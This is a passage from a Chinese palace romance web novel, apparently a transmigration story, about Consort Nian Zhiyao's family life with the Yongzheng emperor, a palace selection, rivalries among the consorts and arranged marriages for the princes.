唯有瑶儿待他还是一如既往,和府里并无不同,让他岂能不珍惜。
四爷叹道:“年夫人可好。”
年芷瑶笑笑:“好呢,还让我要好好谢谢万岁,授了侄子一等侍卫的职位呢。”
方才满月宴办完后,她便留了额娘说了会子话,虽时间不长,但好歹也是见过一面。
四爷看她:“都是自家人,何须言谢。”
“前些日子事多,朕一直未让年夫人过来看你,等日后得了闲,你只管让年夫人来园子里小住便是。”
年芷瑶知道四爷说是八爷和三阿哥的事,她笑道:“小住便算了,额娘怕是也不习惯,我若是想额娘,便让额娘来用顿午膳便是。”
四爷:“也好。”
他摸了摸她的发,年家是瑶儿的母家,她对母家的感情,即便是他也替代不了。
年芷瑶笑着握住了四爷的手,如今年寿给弘昭做了伴读,有了孩子的牵绊,二哥的脾气越发的收敛了,又有幕僚的劝诫,让她放心不少。
只要二哥不脑子秀逗,妄图挑衅四爷的皇权,那年家就不会倒,这就够了。
年家是新贵,若是想要世家大族的底蕴,最重要的便是时间,有她在,便可保年家三代富贵。
弘昭的哈哈珠子中,有个张廷玉之子张若霭,颇有其父为人处世的分寸,有他在中间调和,年寿和弘昭的相处也越发的和谐。
年芷瑶之后不免佩服,这就是人精啊,为此她还赏了其母不少东西,也算是谢过她养了个好孩子。
这日,年芷瑶正带着几个孩子用晚膳,如今天气越发的好,她特意让人将晚膳摆在了个湖中亭之中,可以一边赏景一边用膳,菜色也多以鱼虾为主,都是宫里吃不到的鲜活。
如今孩子也生了,想来不日就回宫了,自然要多吃几顿才好。
只是孩子一多,席间也就越发热闹起来了。
弘昭和弘晏给她说着上书房的趣事,说十四爷家送来的阿哥倒是个实诚性子,一点也不像十四爷。
五爷的阿哥倒是个木讷的,低调得很,倒是得了五爷的真传。
年芷瑶看着弘晏的笑了笑,弘晏如今也到了读书的年纪,一同和弘昭去了洞天深处读书,连人也搬到了前头的院子里,和弘昭同住。
本来她还想着弘晏会不会不适应,不过看着他的神色,像是半点没有不适应的地方,真是个小没良心的,她轻轻捏了捏弘晏的脸。
弘晏不解看她:“额娘。”
年芷瑶:“过来让额娘抱抱,额娘许久都没抱你了。”
弘晏有些不好意思地道:“额娘,你去抱小八吧。”他如今都大了,再让额娘抱岂不是让人觉得自己还是个小娃娃。
年芷瑶看他:“小八是额娘的孩子,你就不是了吗。”
弘晏求救地看着哥哥姐姐。
可惜弘昭和塔娜一个望天一个望地,就是没一个人看他的。
最终弘晏还是没能逃过年芷瑶的魔爪,年芷瑶抱着软乎乎的弘晏,心里十分满足,说什么长大了,这不还是个小孩子嘛。
然后她又看向弘昭,弘昭十分灵敏的一个箭步起了身,拱手道:“额娘,儿子想起来先生布置的功课还没完成呢,就先回去了。”
年芷瑶看着慌乱逃走的大儿子,不满地握住女儿的手,“真是些臭小子。”
晚间,四爷回来后就笑她,说是弘晏找她抱怨,说额娘还当他是小孩子呢。
年芷瑶瞪大眼睛,“这小子,他还去找你
告状了。”
四爷摸了摸她的背:“不气不气,这个年岁的孩子正是要面子的时候,朕当年也这样。”
听四爷提起自己:年芷瑶不免好奇:“爷当初也是这样一副小大人的样子吗。”
“啊。”四爷想到在宫里时不服输的样子,不由失笑,“他们都还小呢,这不是还有小八吗,抱他不就行了。”
年芷瑶气不过地摸了摸小八的小手,这父子俩,真是一个两个的都往小八身上推。
皇后给四爷递了本折子。
因着四爷越发不耐烦皇后,景仁宫的事也都是年芷瑶在管,折子便先送到了她这。
她打开一看,便笑了出声。
白芨为她上了盏茶:“主子在看什么呢,这么开心。”
年芷瑶将折子递给白芨:“皇后这是在劝诫四爷选秀呢。”
白芨的脸色难看起来。【魔蝎小说 mo xie xs .c om】
80-90
第81章 第81章选秀
年芷瑶将皇后的折子放在一旁,“给万岁送过去吧。”
白芨见主子一副事不关己的样子,难免有些着急,“娘娘,皇后娘娘这般着急选秀,定是为了选新人来和争宠。”
她心下恨恨,没想到皇后竟如此急不可耐,如今主子才生下八阿哥,皇后转眼就提起选秀,这分明就是为了给主子添堵。
“我知道,只是选秀一事避不过去。”就算皇后不提,那些个大臣也都看着呢。
这事由皇后提出来也好,四爷对皇后一直不满,只要是皇后提的事,在四爷心里的印象不免就要减上几分。
晚间,四爷过来,头一个瞧的便是瑶儿的神色,看瑶儿气定神闲,他开口道:“皇后的折子朕看了,瑶儿怎么看。”
年芷瑶看他一眼:“我能怎么看,咱们这位皇后娘娘如此十分关心万岁,折子写得情真意切,生怕万岁子嗣不丰让先帝怪罪,我还能说什么。”
四爷笑着揽住她:“这是吃醋了。”
“我怎么敢。”年芷瑶没好气地说,“我还能拦着不让您选秀不成,这可是祖宗规矩,可耽误不得。”
她说得阴阳怪气,四爷听了却一点都不生气,反而挑眉笑道:“怎么不能,瑶儿说不选,那就不选了。”
年芷瑶睁大眼睛看他。
四爷看她装贤惠装不过三秒,不由笑了起来:“朕不选,可弘历,弘昼都到了年岁,这次选秀也是时候给他们挑一位福晋了。”
年芷瑶知道四爷是故意气她,便上前走过去,揪着四爷的领口说道:“给两位阿哥挑可以,可爷不能自己留。”
四爷伸手搂住她:“那岂不是辜负了皇后一番美意。”
年芷瑶瞪他,“我说不能就不能。”
四爷乐了:“好,不选,朕有瑶儿就够了。”
他抱紧怀里的人,大笑起来。
年芷瑶伸手捶了他一拳。
候在门口的苏培盛看着年贵妃三言两语便让四爷打消的纳新人的念头,心下叹道,这下不佩服贵妃都不行了,除了贵妃,谁能做到这般。
四爷下了旨,让内务府操办选秀,那他们自然要跟着回宫一趟,年芷瑶便传话让人收拾着东西。
算起来,她同四爷在园子里待了也有一年多了,若不是中间有了小八,他们也不会待这么久,如今也是时候该回宫了。
园子里的东西倒不用什么东西都带走,只把常用的收拾出来便是,左右不知什么时候就又回来了。
主子既吩咐了下来,下头人自然不会马虎,白芨特意出去嘱咐众人:“都仔细着些,免得磕了碰了。”
外头小宫女见着她,连忙行礼道:“姑姑放心,奴婢们都看着呢。”
白芨姑姑可是跟着贵妃娘娘陪嫁过来的,最得娘娘信重,如今主子的奶嬷嬷早已不大管事,白芨姑姑就成了大管事,她们自然不敢怠慢。
白芨点头,又去八阿哥那看了一眼,如今八阿哥还小,此番跟着主子一同回宫,自然得精心准备才是。
看白芨过来,八阿哥的奶娘迎了上去:“姑娘怎么来了,可是主子有什么吩咐。”
白芨:“如今快要回宫了,主子让我过来瞧上一眼。”
奶娘笑着道:“应该的应该的。”
见白芨又问起今日八阿哥的饮食起居,奶娘都细细答过。
八阿哥的奶娘都万岁让人精心挑的,一个个都是家世清白,身体康健,对她们来说,能进宫照顾八阿哥,那真是破天的福分,对八阿哥自然是仔细得很,说不得比自己的儿子还要尽心。
白芨倒不怕她们偷奸耍滑,只是凡事都有个万一,还是要多看看才好。
年芷瑶正在屋子里准备回宫的事宜,塔娜进门来问道:“额娘,咱们是要回宫了吗。”
“是得回宫待一段时间。”她看向女儿:“怎么了,可是不想回去。”
塔娜微微点头:“我觉得,还是咱们一家子一块待在园子里更自在一些。”
她如今也大了,她知道皇后和她额娘一直不对付,额娘有子有宠,皇后说不得恨得牙痒痒,早就想将额娘拉下来了,阿玛虽疼爱他们,可也不只她和弟弟这几个孩子。
年芷瑶笑着看她:“傻孩子,回宫难道就不是咱们一家人了吗。”
塔娜看她:“额娘。”等回了宫,皇后那边就不能不应付了,哪有在园子里自在。
年芷瑶知道女儿的疑虑,她轻轻摸着女儿的脸,说道:“皇后与你阿玛是少年夫妻,怎会一点情分都没有,可这情分却让皇后生生地给弄没了,连选秀一事都不让她沾手,还有什么好怕的呢。”
皇后都和四爷形同陌路这么多年了,怎么可能她进园子一年多皇后就开窍了,除非皇后让人给穿了。
是以,她并不担心皇后出手,兵来将挡便是。
只是宫里到底不如园子舒坦,还是快点将选秀处理完,然后早些回来便是。
塔娜回过神来也笑了,拉住她的手撒娇道:“额娘。”
看着塔娜一副小女儿态的样子,年芷瑶怜爱地摸了摸她的脸,“你不用操心这些,日子都是自己过出来了,即便是事态不好,也要将日子往好了过才是。”
塔娜:“女儿知道了。”
前头四爷同她说,他们这次回宫待的时间不长,就别让太后跟着折腾了。
年芷瑶应了下来,然后带着人亲自去了畅春园一趟。
福嬷嬷出来迎她:“娘娘可来了,太后可是盼着您呢。”
年芷瑶笑道:“让皇额娘想着,真是我的不是了。”
太后见她来,忙招呼她道:“快坐吧。”
“是。”年芷瑶笑着坐了下来:“皇额娘这些日子可好,儿臣一直不能来看望皇额娘,皇额娘不要怪儿臣才是。”
太后:“你为皇上诞下八阿哥,我怎么会怪罪你,合该赏你才是,八阿哥可好。”
年芷瑶笑道:“好呢,今日儿臣过来,弘暘还拽着儿臣的袖子不肯撒手,力气大得很,只是如今弘暘还小,儿臣此次就没带他过来,等下次再让他过来拜见皇祖母。”
太后:“不妨事,孩子还小呢,马虎不得,往后日子还长着呢,还怕见不到我这个皇祖母吗。”
年芷瑶:“是,皇额娘慈爱,儿臣铭记在心。”
太后点了点她:“和哀家还客气什么,选秀一事办得如何了。”
年芷瑶:“内务府都操办着呢,等万岁回宫便可进行终选了。”
此次是四爷登基后的第一次选秀,各地都重视得很,她倒也能理解,只
是她不理解的是怎么参选的人家还有人给她递话送礼的,话里话外都是在说自家小姑娘听话懂事,想要进宫来侍奉贵妃娘娘。
只怕来侍奉她是假,想进宫来侍奉四爷倒是真的,可这些人未免也看得起她的度量了,难道她还能将这些姑娘送到四爷跟前不成,她又不是脑袋被驴踢了。
太后见她神色便有些明了,皇上说要选秀,各处人马便都收了消息动了起来,连太后这都有不少过来打招呼的人。
不说别的,乌雅家里适龄的姑娘就有不少,前些日子她娘家来人还劝她,又拿出佟家做对比,当年佟家表妹进宫不说宠冠六宫也差不多了。
说既然同是皇上的母家,他们乌雅家又差在哪里,太后当着她们的面默不作声,转头就对福嬷嬷说,以后这些人再求见,不必再来回她,一概不见便是。
这些人真是一朝得势,心里就一点分寸也没有了,先帝生母早逝,这才对佟家移情,不说老四从小没长在她身边,与她的母子情分本来就浅,就说连她让老四办事,都得掂量掂量自己的分量,让贵妃敲敲边鼓,乌雅家还想借着她逞威风。
也不看看老四是不是个任人摆布的性子。
想进宫夺贵妃的宠,也得看自己是不是这块料,这男女之事,可不是靠着年轻,貌美就能行的。
早些年那良妃可是够美了,真真是宫里头一份,不然先帝也不会从浣衣局将她带出来。
可到头来,还不是一场空,想要用美色留下男人,留一时容易,留一辈子难啊。
若是老四是个爱美色的,还用非等着这场选秀吗,她眼瞧着这几年,老四和贵妃的情谊是越发深了起来,定不是一般人能插进去的,她又何必自讨没趣。
太后笑笑:“那些个外头的人一个个都以为能揣摩上意,实际上早就不知道偏哪去了,不过都是自个儿安慰自己儿罢了。”
年芷瑶笑笑:“皇额娘说得是。”
和太后传达了四爷的意思,年芷瑶也没再多留,起身回了园子里,到底说孩子是母亲的牵绊呢,一想到小八还在吃奶,年芷瑶就婉拒了太后留她用午膳的邀请,只说下次再来给她请安。
回了杏花春馆,年芷瑶摸了摸小八的手,看着儿子的笑脸,她不免有些出神,四爷说这次选秀并不留人,她虽信他,可选秀这事
八阿哥看额娘一直不和他玩,便出声喊道:“啊啊。”
年芷瑶笑了笑,继续拿铃铛逗着儿子,罢了,四爷既然这样说,那她就信他。
回了紫禁城,年芷瑶看着一如往常的永寿宫,不由叹道,这宫里还真是一点变化都没有啊。
白芨进来为她换了盏茶:“主子,裕嫔娘娘来向您请安了,可要让她进来。”
年芷瑶点头:“请进来吧。”
“是。”
耿氏笑着走进来:“臣妾给娘娘请安,许久未见娘娘,娘娘的气色还是一如既往的好。”
年芷瑶笑:“不必客气,快坐吧。”
耿氏微微福身:“是,娘娘刚回宫,臣妾本不该前来叨扰娘娘,只是弘昼那孩子说在圆明园承蒙娘娘照顾,臣妾想着合该先来同娘娘道谢便是。”
年芷瑶:“不是什么要紧事,何必挂怀。”
耿氏:“于娘娘是小事,可对臣妾与弘昼来说,便是天大的照拂了。”
年芷瑶与耿氏寒暄了几句,看耿氏像是有话要说,便看向白芨,示意让她先带着人下去。
见没了旁人,耿氏的笑意越发真了些,她直言道:“娘娘在外头伴驾,许是不知,近些日子那钮祜禄妹妹与皇后娘娘走得很近。”
年芷瑶抬头:“可是真的。”
耿氏:“臣妾不敢说谎,我与钮祜禄氏的宫里相邻,时常看着皇后的宫女往她宫里过去,虽是背着人的,可那日臣妾恰巧出门,偏偏就给瞧着了,我细细观察下来,这才发现那宫女时不时的便从景仁宫过来寻钮祜禄妹妹呢。”
“臣妾就想在府里时,钮祜禄氏便与皇后走得近,如今三阿哥失了势,皇后许是想拉拢四阿哥吧。”
年芷瑶点头:“你有心了。”
她对着耿氏笑笑,钮祜禄氏和皇后有牵扯她也有所耳闻,只是没想到耿氏能特意来同她说起此事,能有这份心,也是好的。
耿氏:“娘娘说的是哪里的话,您在府里时就对我们母子两个多有照顾,我自然要知恩图报。”
要说皇后的眼中钉,从前那是李氏,现在就是贵妃娘娘了吧。
李氏的三阿哥不知犯了什么错被四爷圈起来了,她的弘昼才能不显,将来能继承大位的想来不是四阿哥就是六阿哥,四阿哥虽长六阿哥几岁,可六阿哥有贵妃在身后。
况且万岁如今身子康健,若是能有先帝那般寿数,即便是八阿哥也等得了。
这么一看,钮祜禄氏投了皇后也是应有之意,四阿哥继位的希望不大,若是搏上一搏,说不定还有些希望。
对她来说,既然弘昼坐不上大位,那六阿哥继位总比四阿哥要好,不说孩子们的交情,只说她与贵妃相交多年,知道贵妃不是个爱难为人的性子。
比起看不出心思的钮祜禄氏和不能容人的皇后,自然是待人宽和的贵妃更好一些。
钮祜禄看着窗外,问道:“今日可是贵妃回宫的日子。”
连翘回话:“是呢,娘娘记得清楚,听说裕嫔已经去永寿宫请安了,咱们可要过去。”
外头都说皇上是心疼皇后娘娘操劳病了,这才让贵妃娘娘统管六宫,可她皇后平日的宫里头也没什么药味啊。
这皇后真病假病还未可知,可贵妃却是真的得宠,皇上走哪带哪不说,连阿哥都连生三个,这宫里谁能比得上贵妃的子嗣多啊。
贵妃好不容易回宫一趟,要她说,自然要前去拜见一番,即便是不靠上去,也得给贵妃留个好印象才是。
钮祜禄氏摆了摆手,她既然决定投靠皇后,那贵妃那就近不得了,更何况如今贵妃有三子,她若不想让四阿哥做贵妃和六阿哥踏脚石,就该离她远些。
她并未对宫女多说,只是道:“四阿哥过会儿要来宫里请安,你让厨房去做几道好菜。”
弘历如今也大了,想来今年这场选秀万岁就会为他定下福晋,有了福晋,便是成大人了,日后也好进朝中做事,不用只在宫里闭门读书。
她虽是满族大姓,可娘家不显,阿玛也只是个用银子捐出来的员外郎,没什么能为阿哥助力的,若是万岁能为弘历挑上一位得力的岳家,那才是好事呢。
连翘福身:“是。”
年芷瑶正抱八阿哥在屋子里来回走动。
四爷进门后瞧见她这般,便问道:“怎么不让奶娘抱。”
见阿玛来了,八阿哥忙挥着小手冲他打招呼,年芷瑶顺势将孩子塞进他的怀里,“这孩子不知怎么了,非要让我抱,不抱就哭。”
她看着在四爷怀里十分乖巧的弘暘,笑道:“看来让阿玛抱也行。”
四爷笑了笑:“这是换了新环境,只想待着阿玛额娘的怀里,不然不踏实呢。”
年芷瑶点了点他的头,“小磨人精。”明明平日里陪着他最多是奶娘,这时候倒是知道谁是阿玛额娘了,小孩子真是精得很。
四爷抱着八阿哥掂了掂,“倒是重了些。”
年芷瑶笑道:“这孩子是个能吃的。”比塔娜小时候来能吃些,自然长得快。
四爷:“能吃是好事。”
年芷瑶揉了揉手腕,这孩子着实是沉了些,她顺着四爷道:“是是,您的阿哥,怎么着都好。”
四爷看着她笑了笑:“惯会作怪。”
好在八阿哥虽然认人,但一天折腾下来也累了,四爷抱着儿子哄了哄,弘暘就很快睡着了。
她看着四爷小心翼翼地将弘暘放进了摇床里,见孩子睡得踏实,两人都松了一口气,这下总算是能歇歇了。
年芷瑶笑了笑,“爷今日怎么来得这么晚。”
四爷揽着她坐在了椅子里,“朝中的琐事太多,回了宫不免要见人,自
然晚了些。”
年芷瑶听了忍不住皱眉,“这朝堂上的官吏这么多,难道没一个能为万岁分忧的,那养他们做什么。”
四爷拍了拍她的后背:“人人都有自己的私心,若是朕只听一人的言语,自然能轻松许一些,可朕不想做个任人糊弄的皇帝。”
他的位置坐得越高,离底下人的距离就越远,反而越发看不清了,所以他才要广开言路,能给他上折子的人多了,他们联合起来骗他的机会就会越少。
年芷瑶不说话了,她虽然明白其中的道理,可看着四爷脸上的倦色,到底有些心疼,“爷也要注意身体才是。”
“放心,爷心里有数。”
她瞪他一眼,你能有什么数,你要是有数也不会在位十三年就累死了,要知道他爹,他儿子可都比他的活的岁数长。
年芷瑶推了推四爷,“爷别磨蹭了,快去洗漱休息吧,再耽搁又要睡不了几个时辰了。”
看四爷登基后每日早起晚睡的她就心累,四爷这般,也是常人所不能及了。
“好。”四爷摩挲着她的手。
天气一日日地热了起来,想到去年这时她还在园子里听戏纳凉呢,年芷瑶手里的扇子就扇的越发快了一些。
白芨给她上了一碗冰镇酸奶:“主子尝尝这个,这酸奶是小厨房新进的,里面放了糖,甜丝丝的。”
她又将各式果干和坚果摆了出来,让主子喜欢什么就加什么。
一碗酸奶下肚,总算是解了年芷瑶心里的燥热,她擦了擦嘴角:“不错,赏他们吧。”
白芨福身:“是,对了主子,方才平郡王妃递了帖子进来,说知道您回宫了,想找机会过来给您请安呢。”
平郡王妃,年芷瑶想了想,“可是曹家嫁进去的那位。”
白芨点头:“正是。”
年芷瑶叹了口气,虽然知道回了宫事可就少不了了,可这事来得也太快了吧,怪不得太后也不愿回宫呢,这宫里到底不如在园子里清闲。
她道:“就说后日午后我有空,让她进宫来吧。”
白芨:“是,奴婢记下了。”
“曹家还让人送了东西过来,娘娘可要瞧瞧。”
见主子点头,白芨便让人将东西抬了进来,是一座翡翠饕餮狮纹环耳方鼎,雕工精湛,玉质细腻,通体成明艳的翠色,最紧要的是这座玉雕的鼎颇有些分量,这么大一块好玉可不多见,曹家不仅得了,还找了能工巧匠来雕刻。
说句价值连城也不为过,着实是连国家博物馆都没有的珍品啊。
年芷瑶起身叹道,“这曹家可真是没少贪啊。”
四爷说曹家在任上亏空了几十万两银子,如今看来怕是只多不少,可这般珍品都能舍得送出来,可见曹家自己也知道,自己家的好日子快要到头了吧。
要她说,与其费尽心思给她送礼,不如趁早找四爷认罪,还能让四爷念一念先帝爷的旧情,对他们从轻发落,若是想走她的门路和四爷求情,还是趁早死了这份心吧。
白芨见主子面上带着冷意,便道:“若是主子不喜这东西,奴婢便让人给平郡王府送回去。”
年芷瑶摆手,“先收起来吧。”
四爷想办曹家,自然要先稳住曹家,与曹家交好的几家都是先帝在时的旧臣,四爷上位后,新旧势力交错,四爷就算想清算他们也得等自己站稳了脚跟。
三年不改父志,如今已是雍正四年,想来曹家的事四爷也等不了太久了。
白芨应了声,然后便让人将东西抬到了库房深处,她看主子的意思,日后想来是不会再将这东西摆出来了。
午后,苏培盛来了永寿宫;“奴才给娘娘请安。”
年芷瑶看他问道:“苏公公怎么来了。”
苏培盛笑得十分殷勤:“回娘娘的话,万岁让奴才给娘娘送些东西过来。”
他冲身后的小太监招了招手,小太监打开了两个箱子,里面放着的都是各式各样的扇子,花样颜色都颇为丰富,年芷瑶来了兴致,一个个看了过去。
扇子有缂丝秋海棠银柄,藤萝花红木柄的,她最喜欢的还是一对白玉做的扇柄,上面绣着佛手花的图样,触手温凉,瞧着就清爽。
苏培盛见她喜欢,便在一旁道:“这些都是十三爷从南边捎带回来的,万岁说让贵主子随意赏玩,若是不喜欢的,直接送人便可,万岁再您找新的。”
年芷瑶笑了:“劳烦公公给万岁回话,说我很喜欢。”
苏培盛低头:“是,娘娘放心。”
九州清晏
四爷处理完政事,看天色还早,便想着去前头看看几个孩子。
苏培盛看四爷准备起身,上前问道:“万岁,可要去永寿宫。”
四爷:“先去马场瞧瞧。”
苏培盛低头应道:“是。”
弘晏正在马场跟着谙达学骑射,说是骑射,可他年纪尚小,谙达也不敢多教,只能先教阿哥学骑马,还只能骑小马,弘晏看着几个哥哥的马,忍不住有些眼馋。
四爷来了之后就见几个阿哥在马场上各自练习,弘历年岁最大,射箭的姿势也规范,可就是太过规范了些,反而让人觉得僵硬。
到时弘昭虽然力气不够,可每每出箭都是游刃有余,倒是有些天分。
因着万岁就在一旁看着,周围伺候的谁也不敢出声提醒几位阿哥,还好今日没出什么差错。
倒是弘晏眼睛尖,头一个看见了四爷,他连忙策马过去:“皇阿玛。”
四爷看着弘晏眼里发亮,伸手摸了摸他的头:“练得如何了。”
弘晏撇了撇嘴:“皇阿玛,儿臣也想骑哥哥那样的马。”
弘晏这般撒娇,着实是像瑶儿更多一些,四爷见了不禁有些心软,想说等过些日子,就赏他一匹马。
只是几个阿哥也先后赶到,弘昭看了弘晏一眼,示意他这是在外头,注意一些分寸,然后跟着两个哥哥行礼道:“儿臣给皇阿玛请安。”
四爷点头,“都起来吧。”
皇上一来,不光诸位阿哥心里有些计较,就连一旁的侍卫们也都想好好表现一番,能在皇上跟前露脸,可不是常有的事,故而一时之间,整个校场都热闹极了。
等考校完阿哥的骑射,四爷让人留下了弘昭和弘晏,对他们道:“走,和朕一起去看你们额娘。”
弘昭笑道:“是,儿子也许久未见额娘了。”
自从搬了宫,等闲便不能往后宫里去了,如今皇阿玛开口,他自然高兴。
四爷拍了拍他的肩膀。
年芷瑶在宫里等着,没成想看见他们父子三个一同过来,不免有些惊讶:“你们怎么一起来了。”
弘晏开口道:“下午皇阿玛去看我们练习骑射,还说要送我一匹蒙古马呢。”
年芷瑶看向四爷。
四爷解释道:“午后不忙,朕便去前头看一看。”
年芷瑶点头:“那快来用晚膳吧。”
她看向白芨:“去膳房吩咐一声。”
弘昭和弘晏搬离永寿宫,就不能日日来陪她用晚膳了,她也没提前准备,今日人多,若是再和平日里的菜色一样,未免太过简朴了些。
白芨:“是。”
有了日子,时间便快得很,选秀当天,四爷为弘历和弘昼定下了个福晋,又给他们两个各自挑了两个格格。
四阿哥的福晋是董鄂氏,五阿哥的福晋定的是吴扎库氏,年芷瑶也见了,看着倒都是个清秀佳人。
皇子大婚的仪式都繁琐得很,四爷赐过婚后
便命内务府准备婚事,可就即便是这般,两位阿哥等明年开春能成婚也是快的了。
只是赐下来的格格却没有这个忌讳,连宫门都不用出,收拾收拾便进了两位阿哥的院子。
要说清朝的规矩着实奇怪,格格要比福晋先进府,清朝又没有庶子不能先比嫡子出来的规矩,等福晋进门,说不得就能瞧见怀孕的格格,未免不美。
四爷又给尚未成婚的宗室子弟挨个赐了婚,一场选秀下来,不像是选秀女,倒像是批发婚事。
倒是四爷真如之前同她所说的那般,一个秀女都没给自己留,年芷瑶不禁有些开心。
皇后有些急了,多次派宫里的太监过来传话说想见四爷。
四爷不理,那边又继续上折子劝诫万岁应以江山社稷为重,开枝散叶才是正事,只是景仁宫发过来的折子都被送到了永寿宫。
她才不管皇后呢,只盘算着这边事了,什么时候能再回园子里。
第82章 第82章哄人
阿哥所
弘历躺在床上翻来覆去的睡不着,便只身来到了书房。
书房伺候的太监见了,忙道:“主子,这么晚了您还过来温书啊。”
小太监不免咂舌,之前也就算了,如今两位格格可是刚刚进门,四阿哥也不为所动,要他说,四阿哥可比六阿哥要用功的多,皇上怎么看不见呢。
弘历挥了挥手,“我一个人待会,你先下去吧。”
小太监:“是。”
弘历只让人点了两盏灯,自己翻开早就习得无数遍的书册,却怎么也静不下心。
如今皇阿玛虽为他赐婚,可嫡福晋却只是董鄂家的姑娘,阿玛是个不大不小的官员,在朝中说不上什么话,论起来,还不如先头三哥的福晋娘家。
可这是皇阿玛赐婚,怎么也更改不了,他合上书,若是为六弟赐婚,皇阿玛也会这般随意的将人定下吗。
永寿宫,年芷瑶正用着早膳。
便听见自家的女儿清脆的声音从院中传来。
“额娘。”塔娜带着笑意走进来来,“我听白芨姐姐说,咱们要回园子里了。”
年芷瑶看她高兴,也笑着点头:“是呢,既然事情都处理好了,自然该回去,不然在这宫里忍着酷暑吗。”
不说是她,她看四爷在宫里也快待不住了,不然也不会她一说就同意了回园子里,不说别的,这宫里可真不是个住人的地。
塔娜拍了拍手,“太好了,我这就回去收拾东西。”
年芷瑶看着她的背影,无奈喊道:“慢着些,用过早膳了吗。”
塔娜:“我回去用。”
年芷瑶摇头:“这孩子。”
白芨为主子布菜:“公主还是小孩子呢,能出宫自然开心。”
年芷瑶笑:“不光是她高兴,我也高兴呢。”
因着四阿哥,五阿哥不日就要开府成婚,这次连他们不用跟着过去,而是留在了宫中,这下园子里倒真的是只有他们一家子在了。
白芨也附和道:“可不是嘛,这宫里好是好,可到底憋闷了些,奴婢也盼着早日回去呢。”
许是园子里天开地阔,到了园子,连弘暘都便得活泼了不少,年芷瑶让内务府为弘暘单独做了个婴儿车,每日让奶娘推着他在园子里转悠。
这孩子倒是一点也不嫌烦,若是哪日不出去,还会嗯嗯啊啊的耍脾气。
现在弘暘最喜欢的事便是每日午后让奶娘推着他去前头找两个哥哥。
故而这日她瞧见三个儿子一起回来,年芷瑶一点也不惊讶。
她先弘暘从车里抱出来,然后看向弘昭:“你阿玛不是说今日要考校你们的功课,怎么这么早就回来了。”
弘昭道:“今日十四叔过来了,儿子就和弟弟先回来了。”
年芷瑶点头:“你十四叔这个时辰过来,你阿玛估计是要留他用膳,咱们就不等他了。”
她扭头看向白芨:“给膳房交代一声。”
白芨称是。
几个孩子一同过来用午膳,膳食自然是丰盛的很,河里游的,地上跑的,应有尽有。
弘晏开口道:“额娘,你说阿玛会留十四叔在园子里住下吗。”
他还想明日和阿玛去湖里钓鱼呢,若是十四叔留下,那定是又不成了。
年芷瑶给他夹了一筷子鱼肉:“额娘也不知道。”
如果是十三爷过来,四爷定会邀他住下,可是十四爷过来,那可就说不准了。
她看着弘晏:“若是你阿玛不得空,额娘去陪你可好。”
弘晏想了想,有额娘陪他也好,便笑着答应下来。
晚间,年芷瑶正在屋子里缝着衣服,快到四爷的生辰了,她准备给他做上一件里衣,虽不贵重,但也是个心意。
再说,如今这东西就算是再贵重,四爷难道还会缺不成。
四爷进门,看见瑶儿的脸被烛火映衬着,显得越发温婉可人。
他不由走上前去:“做给朕的。”
年芷瑶点头,拿起衣裳在他身上比了比,“正合适。”
四爷赞道:“瑶儿的手艺朕最清楚,自然合适。”
年芷瑶笑笑:“万岁就知道哄我,十四爷可是走了。”
四爷道:“嗯,朕没留他,让他先去畅春园给娘娘请安了。”
年芷瑶笑道:“那十四爷定是高兴坏了。”
能去见太后,自然比对着四爷这副冷脸要好上一些。
四爷冷笑一声:“朕看十四在造宅子一事上颇有心得,就让他领了修建弘历和弘昼两个宅子的差事。”
年芷瑶为他宽衣:“这修宅子也是个好差事。”
填土弄瓦,花草树木,哪一样没有油水,要知道贾府建了一个大观园不知道养活了多少人呢,就是不知道十四爷领不领情了。
四爷伸了伸衣袖:“若不是为着皇额娘,朕也不愿搭理他。”
年芷瑶笑笑:“养儿一百岁,长忧九十九,就算是为了安太后娘娘的心,您这个做兄长的,让一让十四爷也无妨。”
四爷拍了拍她的手臂:“瑶儿说的是。”
年芷瑶笑笑,这话也就是现在能对四爷说,若是在早几年,四爷定是听不进去的,说不定还会气的不行。
先帝将皇位传给了四爷,四爷既得了最大的好处,对往日对他不敬的兄弟,也就计较不起来了。
两人躺在床上,四爷翻过身来看她,开口道:“朕准备将几个兄弟的女儿封为公主,再带到宫中抚养。”
年芷瑶愣了一瞬,然后明白了四爷的意思,四爷膝下唯有两个女儿,一个二格格早已嫁人,剩下便是她生的四公主。
可皇室女儿同蒙古和亲是大清对蒙古一直以来的手段,先帝也送了不少女儿过去,到了四爷这,自然也不会变。
只是四爷不舍得自己女儿抚蒙,那便要抚养宗室兄弟的女儿,封为公主,再嫁到蒙古。
年芷瑶摸着四爷的手,心中不免有些庆幸,好在如今是四爷做上了皇位,不然送去蒙古的,就是她的四公主了。
四爷拍了拍她:“这事也不急,过些时日朕才会下旨,公主们就等年前进宫便是,若是公主们有什么不适应,还要你多费些心。”
年芷瑶点头,“我会的。”
即便是为着心里过得去,她也会好好待几位公主的。
四爷:“瑶儿真是朕的贤内助。”
几位宗室格格不日便要过来,年芷瑶先派人将院子收拾出来,又让人将塔娜喊了过来。
她嘱咐道:“等过些日子,你的那几位堂姐便要来了,她们都是要去抚蒙的,心里有什么不痛快,面上难免会带出来,若是日后有什么不对付的,你就让一让她们,额娘再同你做主。”
塔娜的脸色有些僵硬,她乖乖的伏在额娘的膝上:“额娘,我明白的。”
第83章 第83章吃酒
不日便是中秋,颁金节这样的大节,年芷瑶叫来了针线房的嬷嬷过来,准备给几个孩子做些新衣服。
左右这料子多的用不完,多做穿衣服也是好的。
弘昭踏进额娘的院子时,一眼就瞧见了满屋箱子布料,他顿觉不妙,转身就要走,可还没等他迈开腿,就被额娘叫住了。
“你跑什么,快点过来。”
一旁的弘晏笑嘻嘻地看了哥哥一眼,率先进了额娘的院子。
弘昭看着大步向前的弟弟,这笨孩子,现在不跑,一会儿想跑都跑不了了。
年芷瑶将各色布料先往弘昭身上比了比,“这个颜色衬你,就做
件长袍吧。”
弘昭还想挣扎:“儿子又不挑,额娘看着做便是。”
年芷瑶皱眉:“别乱动,怎么还比不上你八弟听话,不过是做几身衣服,很快的。”
弘昭看着一旁正扭着身子的小八,不由抽了抽嘴角,额娘同他们选衣服,没一两个时辰是绝对结束不了的,哪次都快不了。
他瞪了一眼身旁的弘晏,还笑呢。
年芷瑶看着如今已是少年模样的弘昭,越看自家儿子越觉得哪哪都好,拿起料子道:“这匹料子就这件做个斗篷,用上好的狐狸毛坐里子,你和弘昭一人一件,过几日天冷了正好穿。”
针线嬷嬷在一旁躬身:“是,娘娘放心。”
这料子一挑便从天亮挑到了天黑,弘晏渐渐也笑不出来了,年芷瑶这才将给两个儿子选好了衣裳。
